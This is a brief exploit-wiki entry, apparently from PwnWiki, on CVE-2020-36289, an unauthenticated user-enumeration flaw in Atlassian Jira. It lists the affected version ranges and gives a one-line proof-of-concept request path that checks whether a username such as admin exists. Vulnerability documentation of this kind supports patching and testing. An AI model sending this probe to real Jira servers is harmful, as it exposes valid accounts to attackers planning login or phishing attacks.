CVE-2020-36289 Atlassian Jira Unauth user enumeration vulnerability

From PwnWiki
This page is a translated version of the page CVE-2020-36289 Atlassian Jira Unauth 用戶枚舉漏洞 and the translation is 100% complete.
Other languages:
Chinese • ‎English • ‎español • ‎עברית • ‎中文（中国大陆）‎

Affected Versions

Jira < 8.5.13
8.6.0 ≤ Jira < 8.13.5
8.14.0 ≤ Jira < 8.15.1

POC

/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin

Screenshot

Twitter E3k2 J4VIAAWR 6.jpg

Retrieved from "https://pwnwiki.com/index.php?title=CVE-2020-36289_Atlassian_Jira_Unauth_用戶枚舉漏洞/en&oldid=4774"